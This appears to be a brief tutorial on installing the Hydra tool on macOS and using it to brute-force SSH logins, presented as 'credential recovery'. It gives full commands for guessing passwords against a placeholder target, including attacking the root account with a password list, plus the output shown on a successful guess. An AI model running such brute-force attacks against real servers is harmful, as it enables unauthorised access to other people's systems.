With Hydra you can recover your SSH credentials. Here a tiny tutorial how it works.
Installation
I do install via ports but also different other possibilities are available.
# update macports (optional)
$ sudo port selfupdate
# search port (optional)
$ port search hydra
# check dependencies (optional)
$ port rdeps hydra
# install port
$ sudo port install hydra
Test preparation
Now create two files (or download anywhere)
# create password file
$ vim passwords.txt
# create users file
$ vim users.txt
Create some content (by line) and start the ssh brute-force with Hydra.
Run SSH password recover
# use password.txt only
$ hydra -l root -P passwords.txt <target> ssh
# use user.txt only
$ hydra -L users.txt -p 12345 <target> ssh
# use user and password files
$ hydra -L users.txt -P passwords.txt <target> ssh
If Hydra found something, the message looks like:
[22][ssh] host: <target> login: <user> password: <password>
Note: for legal purposes only!